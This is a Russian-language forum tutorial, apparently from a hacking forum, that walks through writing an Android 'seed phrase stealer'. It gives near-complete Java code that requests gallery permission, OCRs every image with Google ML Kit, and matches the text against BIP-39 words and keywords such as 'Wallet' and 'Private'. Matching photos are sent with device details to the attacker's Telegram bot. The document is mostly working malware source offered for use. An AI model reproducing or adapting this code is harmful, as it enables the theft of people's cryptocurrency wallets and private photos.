Android Malware - Seed Phrase Steale
Сегодня статья будет посвящена вирусу на Android, который автоматически ищет seed-фразы в галерее и способен находить другие важные данные, используя паттерны и ключевые слова.
Для этого мы будем использовать библиотеку Google ML Kit — мощный и эффективный инструмент, который будет распознавать текст на изображениях и конвертировать его в понятный для анализа текстовый вид.
Писать будем на Java (A), без серверной части, так как лог будет приходить напрямую в Telegram по bot token и user id.
1.Разрешения:
Для начала нам нужно получить доступ к галерее, где будет происходить поиск seed-фраз. Для этого добавляем в AndroidManifest.xml необходимое разрешение:
XML:Скопировать в буфер обмена
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
2.Запрос разрешения у пользователя в MainActivity.java:
Java:Скопировать в буфер обмена
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSION_CODE);
} else {
scanGalleryForImages();
}3.Обрабатываем результат запроса:
Java:Скопировать в буфер обмена
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == REQUEST_PERMISSION_CODE) {
if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
scanGalleryForImages();
} else {
Log.e("Permissions", "Доступ к изображениям отклонён");
}
}
}Хочу подчеркнуть, что такой метод работает на новых версиях Android 13, 14. Если вы хотите использовать код на более старых версиях (Android 12 и ниже), то вам потребуется другое разрешение:
XML:Скопировать в буфер обмена
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
Логика запроса останется такой же, но с изменённой логикой работы с изображениями. На старых версиях Android заострять внимание не будем, но стоит упомянуть для тех, кто будет тестировать на Android 12 и ниже.
4.Основной код MainActivity.java:
Java:Скопировать в буфер обмена
public class MainActivity extends AppCompatActivity {
private static final String XSS = "https://xss.is/members/377393/";
private static final String EXPLOIT = "https://forum.exploit.in/profile/172574-nmz/";
private static final String Adderall = "Благодарность "Adderall" с форума xss.is за идею для статьи.";
private Map<String, String> topicIdMap = new HashMap<>();
private static final int REQUEST_PERMISSION_CODE = 101;
private static final String BOT_TOKEN = ""; // Токен бота Telegram
private static final String CHAT_ID = ""; // ID пользователя Telegram
private int keywordCount = 10; // Сколько слов из словаря seed фраз должно совпасть
private Set<String> keywords = new HashSet<>();
private int speedMs = 0; // Задержка перед проверкой следующего изображения
private final List<String> specialKeywords = Arrays.asList("Seed", "phrase", "Mnemonic", "Recovery", "Pass", "Backup", "Key", "Master", "Access", "recovery", "seed", "Initial", "Wallet", "Entry", "Security", "Secret", "Private", "Blockchain", "Data", "protection", "Universal", "backup", "System", "Spare");BOT_TOKEN и CHAT_ID не нуждаются в объяснении.
Остальные параметры:
keywordCount — Определяет, сколько ключевых слов должно совпасть для обнаружения seed-фразы. Seed-фразы состоят из 12-24 слов, но только 2048 английских слов могут быть частью BIP-39 фразы. Мы используем только английские слова, так как они наиболее распространены.
speedMs — Задержка в миллисекундах перед проверкой следующего изображения.
specialKeywords — Список ключевых слов, которые будут искаться в галерее. Если найдено совпадение, лог с изображением и ключевым словом будет отправлен в Telegram.
Java:Скопировать в буфер обмена
private String getDeviceInfo() {
String model = Build.MODEL;
String androidVersion = Build.VERSION.RELEASE;
return "Device: " + model + ", Android: " + androidVersion;
}Код передает краткую информацию о устройстве - Модель,Версия Android
Java:Скопировать в буфер обмена
private void loadKeywordsFromFile() {
try {
InputStream inputStream = getResources().openRawResource(R.raw.english);
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null) {
keywords.add(line.trim().toLowerCase());
}
reader.close();
} catch (IOException e) {
Log.e("Keywords", "kaput", e);
}
}Метод загружает ключевые слова для поиска из файла english.txt (res/raw). Эти ключевые слова будут использоваться для проверки текста,распознанного с помощью OCR.Слова добавляются в коллекцию keywords, которая содержит все слова, которые нужно искать в текстах на изображениях.
Теперь самое интересное, методы для сканирования галереи:
Java:Скопировать в буфер обмена
private void scanGalleryForImages() {
ContentResolver contentResolver = getContentResolver();
Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
String[] projection = {MediaStore.Images.Media._ID, MediaStore.Images.Media.DATA};
Cursor cursor = contentResolver.query(uri, projection, null, null, MediaStore.Images.Media.DATE_ADDED + " DESC");
if (cursor != null) {
try {
List<String> imagePaths = new ArrayList<>();
while (cursor.moveToNext()) {
String imagePath = cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA));
imagePaths.add(imagePath);
}
processImagesSequentially(imagePaths);
} finally {
cursor.close();
}
}
}Отвечает за сканирование галереи устройства, чтобы получить список изображений.Результаты запроса сортируются по дате добавления и передаются в метод для последовательной обработки изображений processImagesSequentially.
Java:Скопировать в буфер обмена
private void processImagesSequentially(List<String> imagePaths) {
if (imagePaths.isEmpty()) {
return;
}
String imagePath = imagePaths.remove(0);
Uri imageUri = Uri.fromFile(new File(imagePath));
processImageAsync(imageUri);
new android.os.Handler().postDelayed(() -> processImagesSequentially(imagePaths), speedms);
}Этот метод обрабатывает изображения одно за другим с задержкой, которая задается переменной speedms.Он извлекает путь к следующему изображению из списка и вызывает метод processImageAsync() для обработки изображения.(Попытался в многопоток но возникли некоторые проблемы с Google ML Kit)
Java:Скопировать в буфер обмена
private void processImageAsync(Uri imageUri) {
Bitmap bitmap = null;
try {
bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
Bitmap resizedBitmap = Bitmap.createScaledBitmap(bitmap, bitmap.getWidth() / 2, bitmap.getHeight() / 2, false);
recognizeTextFromImage(resizedBitmap, imageUri);
} catch (IOException e) {
Log.e("ProcessImage", "Ошибка обработки изображения", e);
} finally {
if (bitmap != null && !bitmap.isRecycled()) {
bitmap.recycle();
}
}
}Загружает изображение и уменьшает его размер, чтобы оптимизировать его для распознавания текста. Этот метод также управляет освобождением памяти, чтобы предотвратить утечки памяти.После обработки изображения вызывается метод recognizeTextFromImage(), который передает уменьшенное изображение на анализ с помощью Google ML KitСделано для оптимизации.
Java:Скопировать в буфер обмена
private void recognizeTextFromImage(Bitmap bitmap, Uri imageUri) {
InputImage image = InputImage.fromBitmap(bitmap, 0);
TextRecognizer recognizer = TextRecognition.getClient(TextRecognizerOptions.DEFAULT_OPTIONS);
recognizer.process(image)
.addOnSuccessListener(result -> {
ArrayList<String> englishWords = extractEnglishWords(result);
boolean foundSpecialKeyword = checkForSpecialKeywords(englishWords);
boolean foundKeyword = checkForKeywords(englishWords);
// Отправляем фото в тг только если есть от 12 до 24 слов и найдено ключевое слово
if (englishWords.size() >= 12 && englishWords.size() <= 24 && foundKeyword) {
String deviceInfo = getDeviceInfo();
sendPhotoToTelegram(imageUri, englishWords, deviceInfo + ": от 12 до 24 фраз и " + keywordcount + " из словаря seed фраз");
}
if (foundSpecialKeyword) {
String keyword = findSpecialKeyword(englishWords);
String deviceInfo = getDeviceInfo();
sendPhotoToTelegram(imageUri, englishWords, deviceInfo + ": Найдено ключевое слово: " + keyword);
}
})
.addOnFailureListener(e -> Log.e("Text Recognition", "Ошибка распознавания текста", e));
}Отвечает за распознавание текста на изображении с использованием Google ML Kit, анализирует изображение, а результат передается в методы для извлечения ключевых слов.В случае успешного распознавания, результат анализируется для проверки на наличие ключевых слов используемых в seed фразах.
Java:Скопировать в буфер обмена
private ArrayList<String> extractEnglishWords(Text result) {
ArrayList<String> wordsList = new ArrayList<>();
Pattern pattern = Pattern.compile("[a-zA-Z]+");
for (Text.TextBlock block : result.getTextBlocks()) {
Matcher matcher = pattern.matcher(block.getText());
while (matcher.find()) {
wordsList.add(matcher.group().toLowerCase());
}
}
return wordsList;
}Метод извлекает английские слова с помощью регулярного выражения. Если необходимо работать с текстом на других языках,можно легко добавить дополнительные регулярные выражения в объект Pattern, адаптировав их под нужные языки.
(Как было сказано выше seed фразы в формате BIP-39 могут быть на других языках)
Java:Скопировать в буфер обмена
private boolean checkForKeywords(ArrayList<String> words) {
int keywordCount = 0;
for (String word : words) {
if (keywords.contains(word)) {
Log.d("Keyword Found", "Найдено ключевое слово: " + word);
keywordCount++;
if (keywordCount >= keywordcount) {
return true;
}
}
}
return false;
}Проверяет, содержит ли список слов хотя бы одно из ключевых слов из коллекции keywords.Если найдено достаточно ключевых слов (определяется переменной keywordcount), метод возвращает true, что инициирует отправку данных в Telegram.И, наконец, отправка данных в Telegram:
Java:Скопировать в буфер обмена
private void sendPhotoToTelegram(Uri imageUri, ArrayList<String> words, String caption) {
try {
File file = new File(getCacheDir(), "image.jpg");
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
FileOutputStream fos = new FileOutputStream(file);
bitmap.compress(Bitmap.CompressFormat.JPEG, 100, fos);
fos.flush();
fos.close();
if (bitmap != null && !bitmap.isRecycled()) {
bitmap.recycle();
}
OkHttpClient client = new OkHttpClient();
RequestBody requestBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("chat_id", CHAT_ID)
.addFormDataPart("photo", "image.jpg", RequestBody.create(MediaType.parse("image/jpeg"), file))
.addFormDataPart("caption", caption)
.build();
Request request = new Request.Builder()
.url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendPhoto")
.post(requestBody)
.build();
client.newCall(request).enqueue(new okhttp3.Callback() {
@Override
public void onFailure(okhttp3.Call call, IOException e) {
Log.e("Telegram", "Ошибка отправки сообщения", e);
}
@Override
public void onResponse(okhttp3.Call call, Response response) throws IOException {
if (response.isSuccessful()) {
Log.d("Telegram", "збс");
} else {
Log.e("Telegram", "не збс: " + response.message());
}
}
});
} catch (IOException e) {
Log.e("Telegram", "Ошибка отправки файла", e);
}
}После выполнения кода вам придёт лог следующего вида:
После выполнения кода вам придёт лог, содержащий информацию о модели устройства, версии Android и подписью с описанием того, что именно нашёл код.
Всем спасибо за внимание! Надеюсь, статья была интересна для прочтения.